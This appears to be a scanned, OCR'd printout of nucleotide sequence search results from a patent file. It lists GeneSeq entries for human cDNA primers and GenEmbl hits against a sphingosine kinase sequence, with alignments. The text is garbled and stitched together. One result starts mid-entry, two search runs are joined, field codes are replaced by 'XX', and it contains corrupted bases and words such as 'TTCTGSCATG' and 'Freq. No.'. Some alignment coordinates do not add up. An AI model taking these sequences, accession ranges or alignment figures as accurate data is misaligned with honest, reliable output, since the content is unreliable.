OY 217 TGCCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 276
    |||||||
DB 61 TGCCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 120
OY 277 CGAGTACAGTCAGCGCCCTTTTGGCTGAGGCTGAATCTCTTCCAGCTGCTGCT 336
    |||||||
DB 121 CGAGTACAGTCAGCGCCCTTTTGGCTGAGGCTGAATCTCTTCCAGCTGCTGCT 180
OY 337 GAGCGGGGGAACCAACGCGGGGAGCTGGTGGTGGAGAGCTGGCGCTGGAGCT 396
    |||||||
DB 181 GAGCGGGGGAACCAACGCGGGGAGCTGGTGGTGGAGAGCTGGCGCTGGAGCT 240
OY 397 CTGGGCTGATGCTGAGAGAGGGCTGATGACAGAGTGGTGAACGGGCTGATGAGGG 456
    |||||||
DB 241 CTGGGCTGATGCTGAGAGAGGGCTGATGACAGAGTGGTGAACGGGCTGATGAGGG 300
OY 457 CCTGACTGGAGACCGCCATCCAGAACGCCCTGTGTAGCTCCAGAGGCTTGGCAG 516
    |||||||
DB 301 CCTGACTGGAGACCGCCATCCAGAACGCCCTGTGTAGCTCCAGAGGCTTGGCAG 360
OY 517 GCGCTGGACGCTTCTTGAACCATTTAGCTGGCTATGAGAGGTCACCATGAGACCTC 576
    |||||||
DB 361 GCGCTGGACGCTTCTTGAACCATTTAGCTGGCTATGAGAGGTCACCATGAGACCTC 420
OY 577 CTGACCAACTGACGCTTGTGCTGCGCGCC 607
    |||||||
DB 421 CTGACCAACTGACGCTTGTGCTGCGCGCC 451
```

RESULT 12

AAH10443/C

ID AAH10443 standard; cDNA: 587 BP.

XX AAH10443;

AC 26-JUN-2001 (first entry)

DE Human cDNA clone (3'-primer) SEQ ID NO:7278.

XX Human; primer: detection; diagnosis; antisense therapy; gene therapy; ss.

OS Homo sapiens.

PM EP1074617-A2.

PD 07-FEB-2001.

PF 28-JUL-2000; 2000EP-0116126.

PR 29-JUL-1999; 99JP-0248036.

PR 27-AUG-1999; 99JP-0300253.

PR 11-JAN-2000; 2000JP-0118776.

PR 02-MAY-2000; 2000JP-0183767.

PR 09-JUN-2000; 2000JP-0241899.

XX (HELI-) HELIX RES INST.

XX Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;

PI Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;

XX WPI: 2001-318749/34.

XX primer sets for synthesizing polynucleotides, particularly the 5602

PT full-length cDNAs defined in the specification, and for the detection

PT and/or diagnosis of the abnormality of the proteins encoded by the

PS full-length cDNAs - Claim 3; SEQ ID 7278; 2537bp + CD ROM; English.

XX The present invention describes primer sets for synthesizing 5602
CC full-length cDNAs defined in the specification. Where a primer set
CC comprises: (a) an oligo-dr primer and an oligonucleotide complementary
CC to the complementary strand of a polynucleotide which comprises one of
CC the 5602 nucleotide sequences defined in the specification, where the
CC oligonucleotide comprises at least 15 nucleotides; or (b) a combination
CC of an oligonucleotide comprising a sequence complementary to the
CC complementary strand of a polynucleotide which comprises a 5'-end
CC sequence and an oligonucleotide comprising a sequence complementary to a
CC polynucleotide which comprises a 3'-end sequence, where the
CC oligonucleotide comprises at least 15 nucleotides and the combination of
CC the 5'-end sequence/3'-end sequence is selected from those defined in
CC the specification. The primer sets can be used in antisense therapy and
CC in gene therapy. The primers are useful for synthesizing polynucleotides,
CC particularly full-length cDNAs. The primers are also useful for the
CC detection and/or diagnosis of the abnormality of the proteins encoded by
CC the full-length cDNAs. The primers allow obtaining of the full-length
CC cDNAs easily without any specialised methods. AAH03166 to AAH1628 and
CC AAH13633 to AAH18742 represent human cDNA sequences; AAH92446 to
CC AAH95893 represent human amino acid sequences; and AAH13629 to AAH13632
CC represent oligonucleotides, all of which are used in the exemplification
CC of the present invention.

SO Sequence 587 BP; 130 A; 183 C; 156 G; 112 T; 6 other;

Query Match 27.5%; Score 440; DB 22; Length 587;

Best Local Similarity 100.0%; Pred. No. 1e-188;

Matches 440; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

```
OY 1159 TTGAGAGCCAGAGATGGAGAAAGTGTGTTGCACTGATGGAGGAATTGATGAGCAG 1218
    |||||||
DB 445 TTGAGAGCCAGAGATGGAGAAAGTGTGTTGCACTGATGGAGGAATTGATGAGCAG 386
OY 1219 GCCGTGAGAGGCGCAGAGTCCACCAACTTCTGATGATGATGATGATGATGATGATG 1278
    |||||||
DB 385 GCCGTGAGAGGCGCAGAGTCCACCAACTTCTGATGATGATGATGATGATGATGATG 326
OY 1279 CCGCCACAGCTGAGAACCCACAGATGCCACCGCCAGAAAGACCTTATGACCCCTGGGC 1338
    |||||||
DB 325 CCGCCACAGCTGAGAACCCACAGATGCCACCGCCAGAAAGACCTTATGACCCCTGGGC 266
OY 1339 GCGGCTGCTTGTAGTGTCTTACTTTCAGAGACCTTCTCTCTTCCCTAGGGCTGACAGGCC 1398
    |||||||
DB 265 GCGGCTGCTTGTAGTGTCTTACTTTCAGAGACCTTCTCTCTTCCCTAGGGCTGACAGGCC 206
OY 1399 TGTCCACAGCTGCTTGTAGTGTCTTACTTTCAGAGACCTTCTCTCTTCCCTAGGGCTGACAGGCC 1458
    |||||||
DB 205 TGTCCACAGCTGCTTGTAGTGTCTTACTTTCAGAGACCTTCTCTCTTCCCTAGGGCTGACAGGCC 146
OY 1459 CTATGCTTTGGGGGACAGGCGAGATGAGTCTGAGTCTGAGAGCCAGCTGGCTGGGC 1518
    |||||||
DB 145 CTATGCTTTGGGGGACAGGCGAGATGAGTCTGAGTCTGAGAGCCAGCTGGCTGGGC 86
OY 1519 CCAGCTGCTTATGTAAGGCTTCTTATGTTTGTGTGAGACCCACACCAACCAACCAATC 1578
    |||||||
DB 85 CCAGCTGCTTATGTAAGGCTTCTTATGTTTGTGTGAGACCCACACCAACCAACCAATC 26
OY 1579 CAAATTAAGTGACATCCCA 1598
    |||||||
DB 25 CAAATTAAGTGACATCCCA 6
```

RESULT 13

19-JUL-2000; 2000US-0620312.
PR 03-AUG-2000; 2000US-0653450.
PR 14-SEP-2000; 2000US-0662191.
PR 19-OCT-2000; 2000US-0693036.
PR 29-NOV-2000; 2000US-0727344.
XX
XX (HYSE-) HYSEQ INC.
XX
XX Tang YF, Liu C, Asundi V, Chen R, Ma Y, Qian XB, Ren F, Wang D;
PI Wang J, Wang Z, Weinman T, Xu C, Xue AJ, Yang Y, Zhang J;
PI Zhao Q, Zhou P, Goodrich R, Drmanac RT;
XX
XX WPI: 2001-442253/47.
XX P-PSDB: AAM41966.
XX
XX Novel nucleic acids and polypeptides, useful for treating disorders
PT such as central nervous system injuries -
XX
XX Claim 1; SEQ ID NO 511; 10078bp; English.
XX
XX The invention relates to human nucleic acids (AA157798-AA161369) and
CC the encoded polypeptides (AAM3642-AA42213) with nootropic,
CC immunosuppressant and cytostatic activity. The polynucleotides are useful
CC in gene therapy. A composition containing a polypeptide or polynucleotide
CC of the invention may be used to treat diseases of the peripheral nervous
CC system, such as peripheral nervous injuries, peripheral neuropathy and
CC localised neuropathies and central nervous system diseases, such as
CC Alzheimer's, Parkinson's disease, Huntington's disease, amyotrophic
CC lateral sclerosis, and Shy-Drager Syndrome. Other uses include the
CC utilisation of the activities such as: Immune system suppression,
CC Activin/Inhibin activity, chemotactic/chemokinetic activity, haemostatic
CC and thrombolytic activity, cancer diagnosis and therapy, drug screening,
CC assays for receptor activity, arthritis and inflammation, leukaemias and
CC C.N.S disorders.
CC Note: The sequence data for this patent did not form part of the printed
CC specification.
XX
XX Sequence 1200 BP; 218 A; 353 C; 375 G; 254 T; 0 other:
SQ
Query Match 25.4%; Score 406; DB 22; Length 1200;
Best Local Similarity 99.6%; Pred. No. 2.2e-173;
Matches 506; Conservative 0; Mismatches 2; Indels 0; Gaps 0;
OY 925 GTGGTCCCGAGAGAGACTTGTGCTAGTCCGAGACGTCGACCTGCGACCTGGCCACT 984
DB 516 GTGGTCCCGAGAGAGACTTGTGCTAGTCCGAGACGTCGACCTGCGACCTGGCCACT 575
OY 985 GAGATGTTTGTGTCACCCATGCGCGCTGTGACGTCGCGTCATCTGTTTACGTC 1044
DB 576 GAGATGTTTGTGTCACCCATGCGCGCTGTGACGTCGCGTCATCTGTTTACGTC 635
OY 1045 CGGGGGGAGTGTCTCGTCGTCATGCTGCGCCCTTCTTCGCGCATGAGAGAGGACG 1104
DB 636 CGGGGGGAGTGTCTCGTCGTCATGCTGCGCCCTTCTTCGCGCATGAGAGAGGACG 695
OY 1105 CATATGAGATGATGATGCCCCACTTGTGATATGCCCCGTCGCGCTCCGCTGGAG 1164
DB 686 CATATGAGATGATGATGCCCCACTTGTGATATGCCCCGTCGCGCTCCGCTGGAG 755
OY 1165 CCCAAGATGGAAGAGTGTGTTTTCAGTGTGAGGGAATGATGTTAGCGAGCCGTC 1224
DB 756 CCCAAGATGGAAGAGTGTGTTTTCAGTGTGAGGGAATGATGTTAGCGAGCCGTC 815
OY 1225 CAGGGCCAGGTGCACCCAACTACTTCTGATGTCACAGCGGTGGAGCCGCCGCC 1284
DB 816 CAGGGCCAGGTGCACCCAACTACTTCTGATGTCAGAGGTTGCTGGTAGGCCGCCGCC 875
OY 1285 AGCTGAAGCCCCAGACAGATGCGACCGCAGAAAGCCCTTGTGACCCCTGGGCGCGCT 1344
DB 876 AGCTGAAGCCCCAGACAGATGCGACCGCAGAAAGCCCTTGTGACCCCTGGGCGCGCT 935
OY 1345 GTGCTTAGTGTCTACTTGCAGAGACCTTCTCTCTCCCTAGGCTGACGAGGCTGTCCA 1404
XX

DB 936 GTGCTTAGTGTCTACTTGCAGAGACCTTCTCTCTCCCTAGGCTGACGAGGCTGTCCA 995
OY 1405 CAGCTCCGTGTGGGGGTGGAGGACTCC 1432
DB 996 CAGCTCCGTGTGGGGGTGGAGGACTCC 1023
RESULT 15
AAH07214
ID AAH07214 standard; cDNA; 675 BP.
XX
XX AAH07214;
XX
XX 26-JUN-2001 (first entry)
XX
XX Human cDNA clone (5'-primer) SEQ ID NO:409.
XX
XX Human; primer; detection; diagnosis; antisense therapy; gene therapy; ss.
XX
XX Homo sapiens.
XX
XX EP1074617-A2.
XX
XX 07-FEB-2001.
XX
XX 28-JUL-2000; 2000EP-0116126.
XX
XX 29-JUL-1999; 99JP-0248036.
XX
XX 27-AUG-1999; 99JP-0300253.
XX
XX 11-JAN-2000; 2000JP-0118776.
XX
XX 02-MAY-2000; 2000JP-0183767.
XX
XX 09-JUN-2000; 2000JP-0241899.
XX
XX (HELI-) HELIX RES INST.
XX
XX Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;
PI Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;
XX
XX WPI: 2001-318749/34.
XX
XX primer sets for synthesizing polynucleotides, particularly the 5602
PT full-length cDNAs defined in the specification, and for the detection
PT and/or diagnosis of the abnormality of the proteins encoded by the
PT full-length cDNAs -
XX
XX Claim 1; SEQ ID 4049; 2537bp + CD ROM; English.
XX
XX The present invention describes primer sets for synthesizing 5602
CC full-length cDNAs defined in the specification. Where a primer set
CC comprises: (a) an oligo-dT primer and an oligonucleotide complementary
CC to the complementary strand of a polynucleotide which comprises one of
CC the 5602 nucleotide sequences defined in the specification, where the
CC oligonucleotide comprises at least 15 nucleotides; or (b) a combination
CC of an oligonucleotide comprising a sequence complementary to the
CC complementary strand of a polynucleotide which comprises a 5'-end
CC sequence and an oligonucleotide comprising a sequence complementary to a
CC polynucleotide which comprises a 3'-end sequence, where the
CC oligonucleotide comprises at least 15 nucleotides and the combination of
CC the 5'-end sequence/3'-end sequence is selected from those defined in
CC the specification. The primer sets can be used in antisense therapy and
CC in gene therapy. The primers are useful for synthesizing polynucleotides,
CC particularly full-length cDNAs. The primers are also useful for the
CC detection and/or diagnosis of the abnormality of the proteins encoded by
CC the full-length cDNAs. The primers allow obtaining of the full-length
CC cDNAs easily without any specialised methods. AAH03166 to AAH13628 and
CC AAH13633 to AAH18742 represent human cDNA sequences; AAB92446 to
CC AAB95893 represent human amino acid sequences; and AAH13629 to AAH13632
CC represent oligonucleotides, all of which are used in the exemplification
CC of the present invention.
XX
XX Sequence 675 BP; 100 A; 234 C; 240 G; 98 T; 3 other:
SQ
Query Match 23.8%; Score 381; DB 22; Length 675;

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 15:18:22 ; Search time 4153 Seconds

(without alignments)
11205.246 Million cell updates/sec

Title: US-09-784-810A-1_COPY_2_1600

Perfect score: 1599

Sequence: 1 cccccggggctctctatagc.....aaataagtgacattcccaa 1599

Scoring table:

OLIGO_NUC

Gapop 60.0 , Gapext 60.0

Searched: 2054640 seqs, 14551402878 residues

Word size : 0

Total number of hits satisfying chosen parameters: 4109280

Minimum DB seq length: 0

Maximum DB seq length: 200000000

Post-processing: Listing first 45 summaries

Database :

GenEmbl:*

1: gb_da:*

2: gb_hcg:*

3: gb_in:*

4: gb_ov:*

5: gb_om:*

6: gb_pat:*

7: gb_ph:*

8: gb_pl:*

9: gb_pr:*

10: gb_ro:*

11: gb_sts:*

12: gb_sy:*

13: gb_un:*

14: gb_vi:*

15: em_ba:*

16: em_fun:*

17: em_hum:*

18: em_in:*

19: em_mu:*

20: em_om:*

21: em_or:*

22: em_ov:*

23: em_pat:*

24: em_ph:*

25: em_pl:*

26: em_ro:*

27: em_sts:*

28: em_un:*

29: em_vi:*

30: em_hcg_hum:*

31: em_hcg_inv:*

32: em_hcg_other:*

33: em_hcg_mus:*

34: em_hcg_pln:*

35: em_hcg_rod:*

36: em_hcg_mam:*

37: em_hcg_vrt:*

38: em_sy:*

39: em_hggo_hum:*

40: em_hggo_mus:*

41: em_hggo_other:*

Pred. No. is the number of results predicted by chance to have a

score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	1599	100.0	1600	6	AX224379
2	623	39.0	1821	2	AK022402
3	623	39.0	209861	2	AC021196
4	590	36.9	1772	9	AK023393
5	590	36.9	1783	9	AF238083
6	590	36.9	1824	9	BC008040
7	572	35.8	1192	9	BC004112
8	572	35.8	1428	9	HSR245504
9	572	35.8	1869	9	BC009419
10	572	35.8	2502	9	AK095578
11	524	32.8	1693	9	AF266756
12	524	32.8	1719	6	AX127641
13	521	32.6	183443	2	AC068145
14	451	28.2	1173	2	AF200328
15	433	27.1	1155	6	AX127642
16	240	15.0	240	6	AX127642
17	225	14.1	2015	9	AB046025
18	192	12.0	296	6	AX198252
19	192	12.0	296	6	AX208818
20	191	11.9	394	6	AX334274
21	167	10.4	62875	2	AC068436
22	30	1.9	150350	9	CNS01DW
23	25	1.6	1146	10	AF415213
24	25	1.6	1559	6	AX287138
25	25	1.6	1559	10	AF068749
26	25	1.6	1759	6	AX224381
27	25	1.6	1815	6	AX287137
28	25	1.6	1815	10	AF068748
29	25	1.6	110000	2	AL606505.0
30	25	1.6	112037	10	AL645851
31	23	1.4	109440	9	AC092891
32	23	1.4	156339	2	AC068613
33	22	1.4	70293	2	AC128914
34	22	1.4	102528	9	AL161779
35	22	1.4	106374	2	AC004390
36	22	1.4	120937	2	AP004131
37	22	1.4	123864	2	AP004859
38	22	1.4	125348	2	AP004850
39	22	1.4	177720	9	AC019193
40	21	1.3	140	11	G54764
41	21	1.3	299	1	AF106665
42	21	1.3	16713	1	AE006981
43	21	1.3	24680	1	MTY21C12
44	21	1.3	60933	9	AC112699
45	21	1.3	152246	9	AC023473

ALIGNMENTS

RESULT 1

AX224379

LOCUS

DEFINITION

AX224379

ACCESSION

VERSION

KEYWORDS

SOURCE

ORGANISM

human.

Homo sapiens

Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;

Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.

REFERENCE

AUTHORS

TITLE

JOURNAL

Sequence 1 from Patent WO0160990.

AX224379.1 GI:15554631

1600 bp

DNA

linear

PAT 10-SEP-2001

Novel sphingosine kinases

Rastelli, L.

Patent: WO 0160990-A 1 23-AUG-2001;

Curagen Corporation (US) ; GENENTECH, INC. (US)
Location/Qualifiers
1. 1600
/organism="Homo sapiens"
/db_xref="taxon:9606"
BASE COUNT 265 a 492 c 531 g 311 t 1 others
ORIGIN

Query Match 100.0%; Score 1599; DB 6; Length 1600;
Best Local Similarity 100.0%; Pred. No. 0;
Matches 1599; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

```

QY 1 CCCCCGGGGCTCTATAGCCAGGCTCCGGGGGGGAGAGGAGCCAGCCAGCCGCC 60
DB 2 CCCCCGGGGCTCTATAGCCAGGCTCCGGGGGGGAGAGGAGCCAGCCAGCCGCC 61
QY 61 TGGCAGCCCGCTGGGAGCAGCCGATAGAGGCTGAGAGGAGGAGGAGGAGGAGG 120
DB 62 TGGCAGCCCGCTGGGAGCAGCCGATAGAGGCTGAGAGGAGGAGGAGGAGGAGG 121
QY 121 AGCGCCCGCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 180
DB 122 AGCGCCCGCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 181
QY 181 CGAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 240
DB 182 CGAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 241
QY 241 CGCGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 300
DB 242 CGCGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 301
QY 301 GGTGAGGCTGAATCTCTTCAAGCTGATGCTCACTGAGCGGGGAGACCAAGCGGG 360
DB 302 GGTGAGGCTGAATCTCTTCAAGCTGATGCTCACTGAGCGGGGAGACCAAGCGGG 361
QY 361 CTGGTGGGGTGGAGAGGCTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 420
DB 362 CTGGTGGGGTGGAGAGGCTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 421
QY 421 CTGATGACAGAGGTGGTGAACGGGCTCATGAGAGGGGCTGACTGGGAGACCGG 480
DB 422 CTGATGACAGAGGTGGTGAACGGGCTCATGAGAGGGGCTGACTGGGAGACCGG 481
QY 481 AAGCCCTGTGTAGCTCCAGAGAGGCTGTGGCAAGCGGCTGGCACTCTTGAACAT 540
DB 482 AAGCCCTGTGTAGCTCCAGAGAGGCTGTGGCAAGCGGCTGGCACTCTTGAACAT 541
QY 541 TATGCTGGCTATGAGAGGCTACCAATGAAGACCTCTGACCAACTGACGCTATGCTG 600
DB 542 TATGCTGGCTATGAGAGGCTACCAATGAAGACCTCTGACCAACTGACGCTATGCTG 601
QY 601 TGGCGCCCGGTGTCTCAACCATGAACTGTGCTGTGACAGGGCTTGGGGGCTGGCC 660
DB 602 TGGCGCCCGGTGTCTCAACCATGAACTGTGCTGTGACAGGGCTTGGGGGCTGGCC 661
QY 661 TGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 720
DB 662 TGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 721
QY 721 AAGTATGGGCTGTGGGGAGATGCGCTTCACTGAGGAGGAGGAGGAGGAGGAGG 780
DB 722 AAGTATGGGCTGTGGGGAGATGCGCTTCACTGAGGAGGAGGAGGAGGAGGAGG 781
QY 781 CTGGGCACTACCGGGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 840
DB 782 CTGGGCACTACCGGGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 841
QY 841 CCGTCTTCCCGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 900
DB 842 CCGTCTTCCCGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 901
QY 901 GAGCAGGTGCTTCTCACTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 960
```

```

DB 902 GAGCAGGTGCTTCTCACTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 961
QY 961 CTGGTCACTTCGACCTGGCCAGTAGATGTTTGTCTGACCAACCATGAGCCGCTGTGACGT 1020
DB 962 CTGGTCACTTCGACCTGGCCAGTAGATGTTTGTCTGACCAACCATGAGCCGCTGTGACGT 1021
QY 1021 GGGGTCACTTCGACCTGGCCAGTAGATGTTTGTCTGACCAACCATGAGCCGCTGTGACGT 1080
DB 1022 GGGGTCACTTCGACCTGGCCAGTAGATGTTTGTCTGACCAACCATGAGCCGCTGTGACGT 1081
QY 1081 TTCTGSCATGAGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1140
DB 1082 TTCTGSCATGAGAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1141
QY 1141 CCGGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1200
DB 1142 CCGGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1201
QY 1201 GAATGATGTTAGCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1260
DB 1202 GAATGATGTTAGCAGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1261
QY 1261 AGCGGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1320
DB 1262 AGCGGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1321
QY 1321 CCTTATGACCCCTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 1380
DB 1322 CCTTATGACCCCTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 1381
QY 1381 CCTTATGACCCCTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 1440
DB 1382 CCTTATGACCCCTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 1441
QY 1441 AGGGTGAAGAGTGAAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1500
DB 1442 AGGGTGAAGAGTGAAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 1501
QY 1501 GAGCCCAAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1560
DB 1502 GAGCCCAAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1561
QY 1561 CACCCCAAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1599
DB 1562 CACCCCAAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1600
```

RESULT 2
AK022402
LOCUS
DEFINITION
Homo sapiens cDNA FLJ12340 f1s, clone MAMMA1002268, moderately similar to Mus musculus sphingosine kinase (SPHK1a) mRNA.
AK022402
VERSION
KEYWORDS
SOURCE
ORGANISM
Homo sapiens
Eukaryota; Metazoa; Chordata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Catarrhini; Homnidae; Homo.
REFERENCE
AUTHORS
1 Isogai, T., Ota, T., Hayashi, K., Sugiyama, T., Otsuki, T., Suzuki, Y., Nishikawa, T., Nagai, K., Sugano, S., Shiratori, A., Sudo, H., Wadatsuma, M., Hosoi, T., Kaku, Y., Kodaira, H., Kondo, H., Sugawara, M., Takahashi, M., Chiba, Y., Ishida, S., Murakawa, K., Ono, Y., Takiguchi, S., Watanabe, S., Kimura, K., Murakami, K., Ishii, S., Kawai, Y., Saito, K., Yamamoto, J., Wakamatsu, A., Nakamura, Y., Nagahara, K., Masuno, Y., Nihomiya, K. and Iwayanagi, T.
NEDO human cDNA sequencing project
Unpublished
JOURNAL
REFERENCE
2 (bases 1 to 1821)
Isogai, T. and Otsuki, T.

TITLE Direct Submission
JOURNAL Submitted (23-AUG-2000) Takao Isogai, Helix Research Institute, Genomics Laboratory; 1532-3 Yana, Kisarazu, Chiba 292-0812, Japan (E-mail:genomics@hri.co.jp, Tel:81-438-52-3975, Fax:81-438-52-3986)
COMMENT NEDO human cDNA sequencing project supported by Ministry of International Trade and Industry of Japan; cDNA full insert sequencing; Research Association for Biotechnology; cDNA library construction, 5'-6 3'-end one pass sequencing and clone selection; Helix Research Institute (supported by Japan Key Technology Center etc.) and Department of Virology, Institute of Medical Science, University of Tokyo.
FEATURES Location/Qualifiers
 source
 1. 1821
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="MAMMA1002268"
 /tissue_type="Mammary gland"
 /clone_id="MAMMA1"
 /note="cloning vector: pME18SFL3"
 393..1547
 /note="unnamed protein product"
 /codon_start=1
 /protein_id="BAB14028.1"
 /db_xref="GI:10433791"
 /translation="MDPAGGPRGYLPAPRCRYVLLNPRGKKAQLQERSHVQPLAEAEISFTLMTFERRHARELVSEELGMDALVNSGDLMEHVEVNGLMERDFTAIQKPLCSLPAGSGNALAASLNHYAGYEYNTMEDLLNCTLLICRLISPMNLSLHTAGLRLEFSYSLMGFTADYDSEKRYRAREPFTGTLRLAALYSGRLAYLVGYVGSRTPASPVYVQGGPPYDAHLVPLEPVPSPHTVYPDEDFVLYALLSHSGSEKPAFMRCAAGVNLHLYRAGVSRMLRLFLAMKHMEECELYLVVAARLEPKDGKGFVAVDSELVSAVQGVHPNFVMSGCEVPPSMKPOOMPPEPL"
BASE COUNT 301 a 569 c 614 g 337 t
ORIGIN
 Query Match 39.0%; Score 623; DB 9; Length 1821;
 Best Local Similarity 99.9%; Freq. No. 0;
 Matches 673; Conservative 0; Mismatches 1; Indels 0; Gaps 0;

COMMENT
 1465 TTGGGGGAGCAGCCAGAAATGAGTCTGGGTGAGAGCCACCTGGTGGCCAGCT 1524
 1683 TTTGGGGGAGCAGCCAGAAATGAGTCTGGGTGAGAGCCACCTGGTGGCCAGCT 1742
 1525 GCCTATGTAAAGCCCTTACTTTGTGTGAGACCCCAACCCAGAACCAATCAATA 1584
 1743 GCCTATGTAAAGCCCTTACTTTGTGTGAGACCCCAACCCAGAACCAATCAATA 1802
 1585 AAGTACATTCCCA 1598
 1803 AAGTACATTCCCA 1816
RESULT 3
AC021196/c
LOCUS Homo sapiens chromosome 17 clone RP11-794C22, WORKING DRAFT
DEFINITION SEQUENCE, 31 unordered pieces.
ACCESSION AC021196
VERSION AC021196.3 GI:7631117
KEYWORDS HTG; HTGS_PHASE1; HTGS_DRAFT.
SOURCE Homo sapiens.
ORGANISM Homo sapiens
REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
AUTHORS Waterston,R.H.
TITLE The sequence of Homo sapiens clone
JOURNAL Unpublished
REFERENCE 2 (bases 1 to 209861)
AUTHORS Waterston,R.H.
TITLE Direct Submission
JOURNAL Submitted (14-JAN-2000) Genome Sequencing Center, Washington University School of Medicine, 4444 Forest Park Parkway, St. Louis, MO 63108, USA
 On Apr 21, 2000 this sequence version replaced g1:7577693.
 ----- Genome Center -----
 Center: Washington University Genome Sequencing Center
 Center code: WUGSC
 Web site: http://genome.wustl.edu/gsc/index.shtml
 Project Information -----
 Center project name: H_NH0794C22
 ----- Summary Statistics -----
 Sequencing vector: M13: 91%
 Chemistry: Dye-Primer ET; 91% of reads
 Chemistry: Dye-terminator Big Dye; 9% of reads
 Assembly program: Phrap; version 0.990319
 Consensus quality: 188997 bases at least Q40
 Consensus quality: 195132 bases at least Q30
 Consensus quality: 198570 bases at least Q20
 Insert size: 225000; agarose-fp
 Insert size: 206861; sum-of-contigs
 Quality coverage: 3.50 in Q20 bases; agarose-fp
 Quality coverage: 3.75 in Q20 bases; sum-of-contigs

 * NOTE: This is a 'working draft' sequence. It currently
 * consists of 31 contigs. The true order of the pieces
 * is not known and their order in this sequence record is
 * arbitrary. Gaps between the contigs are represented as
 * runs of N, but the exact sizes of the gaps are unknown.
 * This record will be updated with the finished sequence
 * as soon as it is available and the accession number will
 * be preserved.
 * 1 2315: contig of 2315 bp in length
 * 2316 2415: gap of unknown length
 * 2416 4572: contig of 2157 bp in length
 * 4573 4673: gap of unknown length
 * 4673 7009: contig of 2337 bp in length
 * 7010 7109: gap of unknown length
 * 7109 9765: contig of 2656 bp in length
 * 7110

```
FEATURES
source
misc_feature 9766 9865: gap of unknown length
* 9866 12473: contig of 2608 bp in length
* 12474 12573: gap of unknown length
* 12574 16666: contig of 4093 bp in length
* 16667 16767: gap of unknown length
* 16767 20013: contig of 3247 bp in length
* 20014 24008: contig of 3895 bp in length
* 24009 24109: gap of unknown length
* 24109 28050: contig of 3941 bp in length
* 28050 31940: contig of 3791 bp in length
* 31941 32040: gap of unknown length
* 32041 35923: contig of 3883 bp in length
* 35924 40326: gap of unknown length
* 40327 40427: gap of unknown length
* 40427 45271: contig of 4844 bp in length
* 45271 45370: gap of unknown length
* 45371 48815: contig of 3445 bp in length
* 48816 48915: gap of unknown length
* 48916 53904: contig of 4989 bp in length
* 53905 54004: gap of unknown length
* 54005 58337: contig of 4333 bp in length
* 58338 58437: gap of unknown length
* 58438 63057: contig of 4620 bp in length
* 63058 63157: gap of unknown length
* 63158 67683: contig of 4526 bp in length
* 67684 74319: gap of unknown length
* 74320 74419: contig of 6536 bp in length
* 74420 83151: gap of unknown length
* 83152 83251: gap of unknown length
* 83252 89129: contig of 5878 bp in length
* 89130 89229: gap of unknown length
